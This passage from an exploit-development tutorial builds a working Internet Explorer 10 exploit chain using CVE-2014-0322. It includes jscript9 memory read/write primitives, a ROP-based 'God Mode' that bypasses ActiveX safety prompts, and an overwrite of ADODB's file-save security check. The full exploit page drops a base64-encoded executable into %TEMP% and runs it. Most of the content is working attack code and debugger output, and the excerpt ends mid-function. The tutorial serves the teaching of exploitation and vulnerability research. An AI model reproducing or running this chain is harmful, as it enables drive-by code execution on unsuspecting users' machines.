We already know that CanCreateObject and CanObjectRun call virtual functions from the same VFTable. You can easily verify that not only do they call virtual functions from the same VFTable, but they call them on the same object. This is also shown in the scheme above.
Let’s look again at the relevant code in CanCreateObject:
04dcc338 8b08 mov ecx,dword ptr [eax] <----------- we control EAX, which points to "object"
04dcc33a 6a00 push 0 <----------- now, ECX = object."vftable ptr"
04dcc33c 6a00 push 0
04dcc33e 6a10 push 10h
04dcc340 ff7508 push dword ptr [ebp+8]
04dcc343 8d55f8 lea edx,[ebp-8]
04dcc346 6a04 push 4
04dcc348 52 push edx
04dcc349 6800120000 push 1200h
04dcc34e 50 push eax
04dcc34f ff5110 call dword ptr [ecx+10h] <----------- call to gadget 1 (in the picture)
04dcc352 85c0 test eax,eax
04dcc354 7814 js jscript9!ScriptEngine::CanCreateObject+0x55 (04dcc36a)
04dcc356 f645f80f test byte ptr [ebp-8],0Fh
04dcc35a 6a00 push 0
04dcc35c 58 pop eax
04dcc35d 0f94c0 sete al
04dcc360 5f pop edi
04dcc361 c9 leave <----------- this is gadget 4
04dcc362 c20400 ret 4
The first gadget, when called, make ESP point to object+4 and returns to gadget 2. After gadget 2 and 3, EDI is 0 and EAX non-zero. Gadget 4 restores ESP and returns from CanCreateObject.
Here’s the javascript code to set up object and vftable like in the picture above:
// vftable
// +-----> +------------------+
// | | |
// | | |
// | 0x10:| jscript9+0x10705e| --> "XCHG EAX,ESP | ADD EAX,71F84DC0 |
// | | | MOV EAX,ESI | POP ESI | RETN"
// | 0x14:| jscript9+0xdc164 | --> "LEAVE | RET 4"
// | +------------------+
// object |
// EAX ---> +-------------------+ |
// | vftptr |-----+
// | jscript9+0x15f800 | --> "XOR EAX,EAX | RETN"
// | jscript9+0xf3baf | --> "XCHG EAX,EDI | RETN"
// | jscript9+0xdc361 | --> "LEAVE | RET 4"
// +-------------------+
// If we do "write(pp_obj, X)", we'll have EAX = X in CanCreateObject
var pp_obj = ... ptr to ptr to object ...
var old_objptr = read(pp_obj);
var old_vftptr = read(old_objptr);
// Create the new vftable.
var new_vftable = new Int32Array(0x708/4);
for (var i = 0; i < new_vftable.length; ++i)
new_vftable[i] = read(old_vftptr + i*4);
new_vftable[0x10/4] = jscript9+0x10705e;
new_vftable[0x14/4] = jscript9+0xdc164;
var new_vftptr = read(get_addr(new_vftable) + 0x1c); // ptr to raw buffer of new_vftable
// Create the new object.
var new_object = new Int32Array(4);
new_object[0] = new_vftptr;
new_object[1] = jscript9 + 0x15f800;
new_object[2] = jscript9 + 0xf3baf;
new_object[3] = jscript9 + 0xdc361;
var new_objptr = read(get_addr(new_object) + 0x1c); // ptr to raw buffer of new_object
function GodModeOn() {
write(pp_obj, new_objptr);
}
function GodModeOff() {
write(pp_obj, old_objptr);
}
The code should be easy to understand. We create object (new_object) and vftable (new_vftable) by using two Int32Arrays (in particular, their raw buffers) and make object point to vftable. Note that our vftable is a modified copy of the old vftable. Maybe there’s no need to make a copy of the old vftable because only the two modified fields (at offsets 0x10 and 0x14) are used, but that doesn’t hurt.
We can now enable the God Mode by making EAX point to our object and disable the God Mode by making EAX point to the original object.
Controlling EAX
To see if we can control EAX, we need to find out where the value of EAX comes from. I claimed that EAX can be controlled and showed how we can exploit this to do some ROP. Now it’s time for me to show you exactly how EAX can be controlled. In reality, this should be the first thing you do. First you determine if you can control something and only then write code for it.
It’s certainly possible to do the kind of analysis required for this task in WinDbg, but IDA Pro is way better for this. If you don’t own a copy of IDA Pro, download the free version (link).
IDA is a very smart disassembler. Its main feature is that it’s interactive, that is, once IDA has finished disassembling the code, you can edit and manipulate the result. For instance, you can correct mistakes made by IDA, add comments, define structures, change names, etc…
If you want a career in Malware Analysis or Exploit Development, you should get really comfortable with IDA and buy the Pro version.
CanCreateObject is in jscript9. Let’s find out the path of this module in WinDbg:
0:015> lmf m jscript9
start end module name
71c00000 71ec6000 jscript9 C:\Windows\SysWOW64\jscript9.dll
Open jscript9.dll in IDA and, if needed, specify the path for the database created by IDA. When asked, allow IDA to download symbols for jscript9.dll. Press CTRL+P (Jump to function), click on Search and enter CanCreateObject. Now CanCreateObject should be selected like shown in the following picture:
Image may be NSFW. Clik here to view.
After you double click on CanCreateObject you should see the graph of the function CanCreateObject. If you see linear code, hit the spacebar. To rename a symbol, click on it and press n. IDA has a very useful feature: when some text is selected, all occurrences of that text are highlighted. This is useful to track things down.
Have a look at the following picture:
Image may be NSFW. Clik here to view.
It’s quite clear that [ebp+object] (note that I renamed var_4 to object) is modified inside ?GetSiteHostSecurityManagerNoRef. Let’s have a look at that function:
Image may be NSFW. Clik here to view.
As we can see, our variable object is overwritten with [edi+1F0h]. We also see that if [edi+1F0h] is 0, it’s initialized. We need to keep this fact in mind for later. Now that we know that we need to track edi, let’s look again at CanCreateObject:
Image may be NSFW. Clik here to view.
To see what code calls CanCreateObject, click somewhere where indicated in the picture above and press CTRL+X. Then select the only function shown. We’re now in CreateObjectFromProgID:
esi = edx
eax = [esi+4]
edi = eax
object = [edi+1f0h]
Now we need to go to the caller of CreateObjectFromProgID and follow EDX. To do that, click somewhere on the signature of CreateObjectFromProgID and press CTRL+X. You should see two options: of course, select CreateActiveXObject. Now we’re inside CreateActiveXObject:
esi = arg0
edx = esi
esi = edx
eax = [esi+4]
edi = eax
object = [edi+1f0h]
Now we need to follow the first argument passed to CreateActiveXObject. As before, let’s go to the code which calls CreateActiveXObject. Look at the following picture (note that I grouped some nodes together to make the graph more compact):
Now we must follow the first argument passed to JavascriptActiveXObject::NewInstance. When we click on its signature and press CTRL+X we’re shown references which doesn’t look familiar. It’s time to go back in WinDbg.
When the breakpoint is triggered, let’s step out of the current function by pressing Shift+F11, until we are in jscript9!Js::InterpreterStackFrame::NewScObject_Helper. You’ll see the following:
We can see why IDA wasn’t able to track this call: it’s a dynamic call, meaning that the destination of the call is not static. Let’s examine the first argument:
And indeed, we’re right! More important, JavascriptActiveXFunction is the function ActiveXObject we use to create ActiveX objects! That’s our starting point. So the complete schema is the following:
X = address of ActiveXObject
X = [X+28h]
X = [X+4]
object = [X+1f0h]
Let’s verify that our findings are correct. To do so, use the following javascript code:
<html>
<head>
<script language="javascript">
a = new Array(0x2000);
for (var i = 0; i < 0x2000; ++i) {
a[i] = new Array((0x10000 - 0x20)/4);
for (var j = 0; j < 0x1000; ++j)
a[i][j] = ActiveXObject;
}
alert("Done");
</script>
</head>
<body>
</body>
</html>
Open it in IE and in WinDbg examine the memory at the address 0xadd0000 (or higher, if you want). The memory should be filled with the address of ActiveXObject. In my case, the address is 03411150. Now let’s reach the address of object:
The address is 0. Why? Look again at the following picture:
Image may be NSFW. Clik here to view.
So, to initialize the pointer to object, we need to call CanCreateObject, i.e. we need to create an ActiveX object. Let’s change the javascript code this way:
<html>
<head>
<script language="javascript">
new ActiveXObject("WScript.shell");
a = new Array(0x2000);
for (var i = 0; i < 0x2000; ++i) {
a[i] = new Array((0x10000 - 0x20)/4);
for (var j = 0; j < 0x1000; ++j)
a[i][j] = ActiveXObject;
}
alert("Done");
</script>
</head>
<body>
</body>
</html>
Repeat the process and try again to get the address of the object:
var old = read(mshtml+0xc555e0+0x14);
write(mshtml+0xc555e0+0x14, jscript9+0xdc164); // God Mode On!
var shell = new ActiveXObject("WScript.shell");
write(mshtml+0xc555e0+0x14, old); // God Mode Off!
addr = get_addr(ActiveXObject);
var pp_obj = read(read(addr + 0x28) + 4) + 0x1f0; // ptr to ptr to object
Note that we can use the “old” God Mode to create WScript.shell without showing the warning message.
Here’s the full code:
<html>
<head>
<script language="javascript">
(function() {
alert("Starting!");
//-----------------------------------------------------
// From one-byte-write to full process space read/write
//-----------------------------------------------------
a = new Array();
// 8-byte header | 0x58-byte LargeHeapBlock
// 8-byte header | 0x58-byte LargeHeapBlock
// 8-byte header | 0x58-byte LargeHeapBlock
// .
// .
// .
// 8-byte header | 0x58-byte LargeHeapBlock
// 8-byte header | 0x58-byte ArrayBuffer (buf)
// 8-byte header | 0x58-byte LargeHeapBlock
// .
// .
// .
for (i = 0; i < 0x300; ++i) {
a[i] = new Array(0x3c00);
if (i == 0x100)
buf = new ArrayBuffer(0x58); // must be exactly 0x58!
for (j = 0; j < a[i].length; ++j)
a[i][j] = 0x123;
}
// 0x0: ArrayDataHead
// 0x20: array[0] address
// 0x24: array[1] address
// ...
// 0xf000: Int32Array
// 0xf030: Int32Array
// ...
// 0xffc0: Int32Array
// 0xfff0: align data
for (; i < 0x300 + 0x400; ++i) {
a[i] = new Array(0x3bf8)
for (j = 0; j < 0x55; ++j)
a[i][j] = new Int32Array(buf)
}
// vftptr
// 0c0af000: 70583b60 031c98a0 00000000 00000003 00000004 00000000 20000016 08ce0020
// 0c0af020: 03133de0 array_len buf_addr
// jsArrayBuf
alert("Set byte at 0c0af01b to 0x20");
// Now let's find the Int32Array whose length we modified.
int32array = 0;
for (i = 0x300; i < 0x300 + 0x400; ++i) {
for (j = 0; j < 0x55; ++j) {
if (a[i][j].length != 0x58/4) {
int32array = a[i][j];
break;
}
}
if (int32array != 0)
break;
}
if (int32array == 0) {
alert("Can't find int32array!");
window.location.reload();
return;
}
// This is just an example.
// The buffer of int32array starts at 03c1f178 and is 0x58 bytes.
// The next LargeHeapBlock, preceded by 8 bytes of header, starts at 03c1f1d8.
// The value in parentheses, at 03c1f178+0x60+0x24, points to the following
// LargeHeapBlock.
//
// 03c1f178: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
// 03c1f198: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
// 03c1f1b8: 00000000 00000000 00000000 00000000 00000000 00000000 014829e8 8c000000
// 03c1f1d8: 70796e18 00000003 08100000 00000010 00000001 00000000 00000004 0810f020
// 03c1f1f8: 08110000(03c1f238)00000000 00000001 00000001 00000000 03c15b40 08100000
// 03c1f218: 00000000 00000000 00000000 00000004 00000001 00000000 01482994 8c000000
// 03c1f238: ...
// We check that the structure above is correct (we check the first LargeHeapBlocks).
// 70796e18 = jscript9!LargeHeapBlock::`vftable' = jscript9 + 0x6e18
var vftptr1 = int32array[0x60/4],
vftptr2 = int32array[0x60*2/4],
vftptr3 = int32array[0x60*3/4],
nextPtr1 = int32array[(0x60+0x24)/4],
nextPtr2 = int32array[(0x60*2+0x24)/4],
nextPtr3 = int32array[(0x60*3+0x24)/4];
if (vftptr1 & 0xffff != 0x6e18 || vftptr1 != vftptr2 || vftptr2 != vftptr3 ||
nextPtr2 - nextPtr1 != 0x60 || nextPtr3 - nextPtr2 != 0x60) {
alert("Error!");
window.location.reload();
return;
}
buf_addr = nextPtr1 - 0x60*2;
// Now we modify int32array again to gain full address space read/write access.
if (int32array[(0x0c0af000+0x1c - buf_addr)/4] != buf_addr) {
alert("Error!");
window.location.reload();
return;
}
int32array[(0x0c0af000+0x18 - buf_addr)/4] = 0x20000000; // new length
int32array[(0x0c0af000+0x1c - buf_addr)/4] = 0; // new buffer address
function read(address) {
var k = address & 3;
if (k == 0) {
// ####
return int32array[address/4];
}
else {
alert("to debug");
// .### #... or ..## ##.. or ...# ###.
return (int32array[(address-k)/4] >> k*8) |
(int32array[(address-k+4)/4] << (32 - k*8));
}
}
function write(address, value) {
var k = address & 3;
if (k == 0) {
// ####
int32array[address/4] = value;
}
else {
// .### #... or ..## ##.. or ...# ###.
alert("to debug");
var low = int32array[(address-k)/4];
var high = int32array[(address-k+4)/4];
var mask = (1 << k*8) - 1; // 0xff or 0xffff or 0xffffff
low = (low & mask) | (value << k*8);
high = (high & (0xffffffff - mask)) | (value >> (32 - k*8));
int32array[(address-k)/4] = low;
int32array[(address-k+4)/4] = high;
}
}
//---------
// God mode
//---------
// At 0c0af000 we can read the vfptr of an Int32Array:
// jscript9!Js::TypedArray<int>::`vftable' @ jscript9+3b60
jscript9 = read(0x0c0af000) - 0x3b60;
// Now we need to determine the base address of MSHTML. We can create an HTML
// object and write its reference to the address 0x0c0af000-4 which corresponds
// to the last element of one of our arrays.
// Let's find the array at 0x0c0af000-4.
for (i = 0x200; i < 0x200 + 0x400; ++i)
a[i][0x3bf7] = 0;
// We write 3 in the last position of one of our arrays. IE encodes the number x
// as 2*x+1 so that it can tell addresses (dword aligned) and numbers apart.
// Either we use an odd number or a valid address otherwise IE will crash in the
// following for loop.
write(0x0c0af000-4, 3);
leakArray = 0;
for (i = 0x200; i < 0x200 + 0x400; ++i) {
if (a[i][0x3bf7] != 0) {
leakArray = a[i];
break;
}
}
if (leakArray == 0) {
alert("Can't find leakArray!");
window.location.reload();
return;
}
function get_addr(obj) {
leakArray[0x3bf7] = obj;
return read(0x0c0af000-4, obj);
}
// Back to determining the base address of MSHTML...
// Here's the beginning of the element div:
// +----- jscript9!Projection::ArrayObjectInstance::`vftable'
// v
// 70792248 0c012b40 00000000 00000003
// 73b38b9a 00000000 00574230 00000000
// ^
// +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x58b9a
var addr = get_addr(document.createElement("div"));
mshtml = read(addr + 0x10) - 0x58b9a;
// vftable
// +-----> +------------------+
// | | |
// | | |
// | 0x10:| jscript9+0x10705e| --> "XCHG EAX,ESP | ADD EAX,71F84DC0 |
// | | | MOV EAX,ESI | POP ESI | RETN"
// | 0x14:| jscript9+0xdc164 | --> "LEAVE | RET 4"
// | +------------------+
// object |
// EAX ---> +-------------------+ |
// | vftptr |-----+
// | jscript9+0x15f800 | --> "XOR EAX,EAX | RETN"
// | jscript9+0xf3baf | --> "XCHG EAX,EDI | RETN"
// | jscript9+0xdc361 | --> "LEAVE | RET 4"
// +-------------------+
var old = read(mshtml+0xc555e0+0x14);
write(mshtml+0xc555e0+0x14, jscript9+0xdc164); // God Mode On!
var shell = new ActiveXObject("WScript.shell");
write(mshtml+0xc555e0+0x14, old); // God Mode Off!
addr = get_addr(ActiveXObject);
var pp_obj = read(read(addr + 0x28) + 4) + 0x1f0; // ptr to ptr to object
var old_objptr = read(pp_obj);
var old_vftptr = read(old_objptr);
// Create the new vftable.
var new_vftable = new Int32Array(0x708/4);
for (var i = 0; i < new_vftable.length; ++i)
new_vftable[i] = read(old_vftptr + i*4);
new_vftable[0x10/4] = jscript9+0x10705e;
new_vftable[0x14/4] = jscript9+0xdc164;
var new_vftptr = read(get_addr(new_vftable) + 0x1c); // ptr to raw buffer of new_vftable
// Create the new object.
var new_object = new Int32Array(4);
new_object[0] = new_vftptr;
new_object[1] = jscript9 + 0x15f800;
new_object[2] = jscript9 + 0xf3baf;
new_object[3] = jscript9 + 0xdc361;
var new_objptr = read(get_addr(new_object) + 0x1c); // ptr to raw buffer of new_object
function GodModeOn() {
write(pp_obj, new_objptr);
}
function GodModeOff() {
write(pp_obj, old_objptr);
}
// content of exe file encoded in base64.
runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAA <snipped> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
function createExe(fname, data) {
GodModeOn();
var tStream = new ActiveXObject("ADODB.Stream");
var bStream = new ActiveXObject("ADODB.Stream");
GodModeOff();
tStream.Type = 2; // text
bStream.Type = 1; // binary
tStream.Open();
bStream.Open();
tStream.WriteText(data);
tStream.Position = 2; // skips the first 2 bytes in the tStream (what are they?)
tStream.CopyTo(bStream);
bStream.SaveToFile(fname, 2); // 2 = overwrites file if it already exists
tStream.Close();
bStream.Close();
}
function decode(b64Data) {
var data = window.atob(b64Data);
// Now data is like
// 11 00 12 00 45 00 50 00 ...
// rather than like
// 11 12 45 50 ...
// Let's fix this!
var arr = new Array();
for (var i = 0; i < data.length / 2; ++i) {
var low = data.charCodeAt(i*2);
var high = data.charCodeAt(i*2 + 1);
arr.push(String.fromCharCode(low + high * 0x100));
}
return arr.join('');
}
fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
createExe(fname, decode(runcalc));
shell.Exec(fname);
alert("All done!");
})();
</script>
</head>
<body>
</body>
</html>
I snipped runcalc. You can download the full code from here: code2.
If you open the html file in IE without using SimpleServer, everything should work fine. But if you use SimpleServer and open the page by going to 127.0.0.1 in IE, then it doesn’t work. We’ve seen this error message before:
The line of code which throws the error is the one indicated here:
function createExe(fname, data) {
GodModeOn();
var tStream = new ActiveXObject("ADODB.Stream");
var bStream = new ActiveXObject("ADODB.Stream");
GodModeOff();
tStream.Type = 2; // text
bStream.Type = 1; // binary
tStream.Open();
bStream.Open();
tStream.WriteText(data);
tStream.Position = 2; // skips the first 2 bytes in the tStream (what are they?)
tStream.CopyTo(bStream);
bStream.SaveToFile(fname, 2); <----------------------------- error here
tStream.Close();
bStream.Close();
}
The error message is “SCRIPT3716: Safety settings on this computer prohibit accessing a data source on another domain.“. So, let’s reload our html page using SimpleServer, change the length of the Int32Array and let the code throw the error. We note that some additional modules were loaded:
Two modules look particularly interesting: msado15.dll and msader15.dll. They’re located in the directory ado. It doesn’t take a genius to understand, or at least suspect, that those modules are related to ADODB.
Let’s see if we can find a function named SaveToFile in one of those two modules:
The first function seems to be what we’re looking for. Let’s put a breakpoint on it and reload the page. As we hoped, the execution breaks on msado15!CStream::SaveToFile. The name of the function suggests that the module is written in C++ and that SaveToFile is a method of the class CStream. ESI should point to an object of that class:
That’s the full path of the file we’re trying to create. Is it possible that those two URLs/paths are related to the domains the error message is referring to? Maybe the two domains are http://127.0.0.1/ and C:\.
Probably, SecurityCheck checks that the two arguments represent the same domain.
Let’s see what happens if we modify the first parameter:
0:007> ezu @eax "C:\\"
0:007> du @eax
04e4c2bc "C:\"
The command ezu is used to (e)dit a (z)ero-terminated (u)nicode string. Now that we modified the second argument, let’s resume execution and see what happens.
The calculator pops up!!! Yeah!!!
Now we need a way to do the same from javascript. Is it possible? The best way to find out is to disassemble msado15.dll with IDA. Once in IDA, search for the function SecurityCheck (CTRL+P and click on Search), then click on the signature of SecurityCheck, press CTRL+X and double click on CStream::SaveToFile. Function SaveToFile is huge, but let’s not worry too much about it. We just need to analyze a very small portion of it. Let’s start by following the second argument:
Image may be NSFW. Clik here to view.
As we can see, EAX comes from [ESI+44h]. ESI should be the pointer this, which points to the current CStream object, but let’s make sure of it. In order to analyze the graph more comfortably, we can group all the nodes which are below the node with the call to SecurityCheck. To do so, zoom out by holding down CTRL while rotating the mouse wheel, select the nodes by holding down CTRL and using the mouse left button, and, finally, right click and select Group nodes. Here’s the reduced graph:
Image may be NSFW. Clik here to view.
It’s quite clear that ESI is indeed the pointer this. This is good because the variable bStream in our javascript probably points to the same object. Let’s find out if we’re right. To do so, let’s leak bStream by modifying our javascript code as follows:
function createExe(fname, data) {
GodModeOn();
var tStream = new ActiveXObject("ADODB.Stream");
var bStream = new ActiveXObject("ADODB.Stream");
GodModeOff();
tStream.Type = 2; // text
bStream.Type = 1; // binary
tStream.Open();
bStream.Open();
tStream.WriteText(data);
tStream.Position = 2; // skips the first 2 bytes in the tStream (what are they?)
tStream.CopyTo(bStream);
alert(get_addr(bStream).toString(16)); // <-----------------------------
bStream.SaveToFile(fname, 2); // 2 = overwrites file if it already exists
tStream.Close();
bStream.Close();
}
Load the page in IE using SimpleServer and in WinDbg put a breakpoint on SaveToFile:
bm msado15!CStream::SaveToFile
The alert box will pop up with the address of bStream. In my case, the address is 3663f40h. After we close the alert box, the breakpoint is triggered. The address of the CStream is ESI, which in my case is 0e8cb328h. Let’s examine the memory at the address 3663f40h (our bStream):
We can see that at offset 0x50 we have the pointer to the object CStream whose SaveToFile method is called in msado15.dll. Let’s see if we can reach the string http://127.0.0.1, which is the one we’d like to modify:
Until now, we have depended on WinDbg for modifying the length of an Int32Array to acquire full read/write access to the space address of the IE process. It’s high time we found a UAF to complete our exploit.
I chose the UAF with code CVE-2014-0322. You can google for it if you want additional information. Here’s the POC to produce the crash:
<!-- CVE-2014-0322 -->
<html>
<head>
</head>
<body>
<script>
function handler() {
this.outerHTML = this.outerHTML;
}
function trigger() {
var a = document.getElementsByTagName("script")[0];
a.onpropertychange = handler;
var b = document.createElement("div");
b = a.appendChild(b);
}
trigger();
</script>
</body>
</html>
Copy and paste that code in an HTML file and open it in IE 10. If you do this, you’ll discover that IE doesn’t crash. What’s wrong?
GFlags
In the same directory as WinDbg, we can find gflags.exe, a utility which can be used to change the Global Flags of Windows. These flags influence the behavior of Windows and can be immensely helpful during debugging. We’re especially interested in two flags:
HPA – Heap Page Allocator
UST – User mode Stack Trace
The flag HPA tells Windows to use a special version of the heap allocator that’s useful to detect UAF, buffer overflows and other kinds of bugs. It works by allocating each block in a separate set of contiguous pages (how many depends on the length of the block) so that the end of the block coincides with the end of the last page. The first page after the allocated block is marked as not present. This way, buffer overflows are easily and efficiently detectable. Moreover, when a block is deallocated, all the pages containing it are marked as not present. This makes UAF easy to detect.
Look at the following picture:
Image may be NSFW. Clik here to view.
A page is 0x1000 bytes = 4 KB. If the allocated block is less than 4 KB, its size can be easily determined from its address with this simple formula:
size(addr) = 0x1000 - (addr & 0xfff)
This formula works because the block is allocated at the end of the page containing it. Have a look at the following picture:
Image may be NSFW. Clik here to view.
The second flag, UST, tells Windows to save a stack trace of the current stack whenever a heap block is allocated or deallocated. This is useful to see which function and path of execution led to a particular allocation or deallocation. We’ll see an example during the analysis of the UAF bug.
Global flags can be changed either globally or on a per image file basis. We’re interested in enabling the flags HPA and UST just for iexplore.exe so we’re going to choose the latter.
Run gflags.exe, go to the tab Image File, insert the image name and select the two flags as illustrated in the following picture:
Now load the POC in IE and you should get a crash. If we do the same while debugging IE in WinDbg, we’ll see which instruction generates the exception:
This proves that ESI is indeed a dangling pointer. The names of the functions suggest that the object is deallocated while executing the assignment
this.outerHTML = this.outerHTML;
inside the function handler. This means that we should allocate the new object to replace the old one in memory right after that assignment. We already saw how UAF bugs can be exploited in the chapter exploitme5 (Heap spraying & UAF) so I won’t repeat the theory here.
What we need is to allocate an object of the same size of the deallocated object. This way, the new object will be allocated in the same portion of memory which the deallocated object occupied. We know that the object is 0x340 bytes, so we can create a null-terminatedUnicode string of 0x340/2 – 1 = 0x19f = 415 wchars.
First of all, let’s pinpoint the exact point of crash:
So the exception is generated at mshtml + 0x22100c. Now close WinDbg and IE, run them again, open the POC in IE and put a breakpoint on the crashing point in WinDbg:
bp mshtml + 0x22100c
Now allow the blocked content in IE and the breakpoint should be triggered right before the exception is generated. This was easy. This is not always the case. Sometimes the same piece of code is executed hundreds of times before the exception is generated.
Now we can try to allocate a new object of the right size. Let’s change the POC as follows:
<!-- CVE-2014-0322 -->
<html>
<head>
</head>
<body>
<script>
function handler() {
this.outerHTML = this.outerHTML;
elem = document.createElement("div");
elem.className = new Array(416).join("a"); // Nice trick to generate a string with 415 "a"
}
function trigger() {
var a = document.getElementsByTagName("script")[0];
a.onpropertychange = handler;
var b = document.createElement("div");
b = a.appendChild(b);
}
trigger();
</script>
</body>
</html>
Note the nice trick to create a string with 415 “a“!
Before opening the POC in IE, we need to disable the flags HPA and UST (UST is not a problem, but let’s disable it anyway):
Image may be NSFW. Clik here to view.
Wonderful! ESI points to our object (0x61 is the code point for the character ‘a‘) and now we can take control of the execution flow. Our goal is to reach and control an instruction so that it writes 0x20 at the address 0x0c0af01b. You should know this address by heart by now!
You might be wondering why we assign a string to the className property of a DOM element. Note that we don’t just write
var str = new Array(416).join("a");
When we assign the string to elem.className, the string is copied and the copy is assigned to the property of the DOM element. It turns out that the copy of the string is allocated on the same heap where the object which was freed due to the UAF bug resided. If you try to allocate, for instance, an ArrayBuffer of 0x340 bytes, it won’t work, because the raw buffer for the ArrayBuffer will be allocated on another heap.
Controlling the execution flow
The next step is to see if we can reach a suitable instruction to write to memory at an arbitrary address starting from the crash point. Once again, we’ll use IDA. I can’t stress enough how useful IDA is.
We determined the address of the crash point to be mshtml + 0x22100c. This means that we need to disassemble the library mshtml.dll. Let’s find the path:
0:016> lmf m mshtml
start end module name
6b6e0000 6c491000 MSHTML C:\Windows\system32\MSHTML.dll
Now let’s open that .dll in IDA and, when asked, allow IDA to load symbols from the Microsoft server. Let’s go to View→Open subviews→Segments. From there we can determine the base address of mshtml:
Image may be NSFW. Clik here to view.
As we can see, the base address is 0x63580000. Now close the Program Segmentation tab, press g and enter 0x63580000+0x22100c. You should find yourself at the crash location.
Let’s start with the analysis:
Image may be NSFW. Clik here to view.
The value of [esi+98h] must be non 0 because our string can’t contain null wchars (they would terminate the string prematurely, being the string null-terminated). Because of this, the execution reaches the second node where [esi+1a4h] is compared with 15f90h. We can choose [esi+1a4h] = 11111h so that the third node is skipped and a crash is easily avoided, but we could also set up things so that [eax+2f0h] is writable.
Now let’s look at the function ?UpdateMarkupContentsVersion:
Image may be NSFW. Clik here to view.
The picture should be clear enough. Anyway, there’s an important point to understand. We know that the Int32Array whose length we want to modify is at address 0xc0af000, but we don’t control the values at that address. We know, however, that the value at 0xc0af01c is the address of the raw buffer associated with the Int32Array. Note that we don’t know the address of the raw buffer, but we know that we can find that address at 0xc0af01c. Now we must make sure that the dword at offset 1c0h in the raw buffer is 0. Unfortunately, the raw buffer is only 0x58 bytes. Remember that we can’t allocate a bigger raw buffer because it must have the exact same size of a LargeHeapBlock. But there is an easy solution: allocate more raw buffers!
First, we add the code for triggering the UAF bug and taking control of the execution flow:
function getFiller(n) {
return new Array(n+1).join("a");
}
function getDwordStr(val) {
return String.fromCharCode(val % 0x10000, val / 0x10000);
}
function handler() {
this.outerHTML = this.outerHTML;
// Object size = 0x340 = 832
// offset: value
// 94h: 0c0af010h
// (X = [obj_addr+94h] = 0c0af010h ==> Y = [X+0ch] = raw_buf_addr ==> [Y+1c0h] is 0)
// 0ach: 0c0af00bh
// (X = [obj_addr+0ach] = 0c0af00bh ==> inc dword ptr [X+10h] ==> inc dword ptr [0c0af01bh])
// 1a4h: 11111h
// (X = [obj_addr+1a4h] = 11111h < 15f90h)
elem = document.createElement("div");
elem.className = getFiller(0x94/2) + getDwordStr(0xc0af010) +
getFiller((0xac - (0x94 + 4))/2) + getDwordStr(0xc0af00b) +
getFiller((0x1a4 - (0xac + 4))/2) + getDwordStr(0x11111) +
getFiller((0x340 - (0x1a4 + 4))/2 - 1); // -1 for string-terminating null wchar
}
function trigger() {
var a = document.getElementsByTagName("script")[0];
a.onpropertychange = handler;
var b = document.createElement("div");
b = a.appendChild(b);
}
Next, we must create 4 more ArrayBuffer, as we’ve already discussed:
a = new Array();
// 8-byte header | 0x58-byte LargeHeapBlock
// 8-byte header | 0x58-byte LargeHeapBlock
// 8-byte header | 0x58-byte LargeHeapBlock
// .
// .
// .
// 8-byte header | 0x58-byte LargeHeapBlock
// 8-byte header | 0x58-byte ArrayBuffer (buf)
// 8-byte header | 0x58-byte ArrayBuffer (buf2)
// 8-byte header | 0x58-byte ArrayBuffer (buf3)
// 8-byte header | 0x58-byte ArrayBuffer (buf4)
// 8-byte header | 0x58-byte ArrayBuffer (buf5)
// 8-byte header | 0x58-byte LargeHeapBlock
// .
// .
// .
for (i = 0; i < 0x300; ++i) {
a[i] = new Array(0x3c00);
if (i == 0x100) {
buf = new ArrayBuffer(0x58); // must be exactly 0x58!
buf2 = new ArrayBuffer(0x58); // must be exactly 0x58!
buf3 = new ArrayBuffer(0x58); // must be exactly 0x58!
buf4 = new ArrayBuffer(0x58); // must be exactly 0x58!
buf5 = new ArrayBuffer(0x58); // must be exactly 0x58!
}
for (j = 0; j < a[i].length; ++j)
a[i][j] = 0x123;
}
Having added 4 more ArrayBuffers, we also need to fix the code which computes the address of the first raw buffer:
// This is just an example.
// The buffer of int32array starts at 03c1f178 and is 0x58 bytes.
// The next LargeHeapBlock, preceded by 8 bytes of header, starts at 03c1f1d8.
// The value in parentheses, at 03c1f178+0x60+0x24, points to the following
// LargeHeapBlock.
//
// 03c1f178: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
// 03c1f198: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
// 03c1f1b8: 00000000 00000000 00000000 00000000 00000000 00000000 014829e8 8c000000
// ... we added four more raw buffers ...
// 03c1f1d8: 70796e18 00000003 08100000 00000010 00000001 00000000 00000004 0810f020
// 03c1f1f8: 08110000(03c1f238)00000000 00000001 00000001 00000000 03c15b40 08100000
// 03c1f218: 00000000 00000000 00000000 00000004 00000001 00000000 01482994 8c000000
// 03c1f238: ...
// We check that the structure above is correct (we check the first LargeHeapBlocks).
// 70796e18 = jscript9!LargeHeapBlock::`vftable' = jscript9 + 0x6e18
var vftptr1 = int32array[0x60*5/4],
vftptr2 = int32array[0x60*6/4],
vftptr3 = int32array[0x60*7/4],
nextPtr1 = int32array[(0x60*5+0x24)/4],
nextPtr2 = int32array[(0x60*6+0x24)/4],
nextPtr3 = int32array[(0x60*7+0x24)/4];
if (vftptr1 & 0xffff != 0x6e18 || vftptr1 != vftptr2 || vftptr2 != vftptr3 ||
nextPtr2 - nextPtr1 != 0x60 || nextPtr3 - nextPtr2 != 0x60) {
// alert("Error 1!");
window.location.reload();
return;
}
buf_addr = nextPtr1 - 0x60*6;
Basically, we changed int32array[0x60*N/4] into int32array[0x60*(N+4)/4] to account for the additional 4 raw buffers after the original raw buffer. Also, the last line was
buf_addr = nextPtr1 - 0x60*2
and has been changed to
buf_addr = nextPtr1 - 0x60*(2+4)
for the same reason.
I noticed that sometimes SaveToFile fails, so I decided to force the page to reload when this happens:
function createExe(fname, data) {
GodModeOn();
var tStream = new ActiveXObject("ADODB.Stream");
var bStream = new ActiveXObject("ADODB.Stream");
GodModeOff();
tStream.Type = 2; // text
bStream.Type = 1; // binary
tStream.Open();
bStream.Open();
tStream.WriteText(data);
tStream.Position = 2; // skips the first 2 bytes in the tStream (what are they?)
tStream.CopyTo(bStream);
var bStream_addr = get_addr(bStream);
var string_addr = read(read(bStream_addr + 0x50) + 0x44);
write(string_addr, 0x003a0043); // 'C:'
write(string_addr + 4, 0x0000005c); // '\'
try {
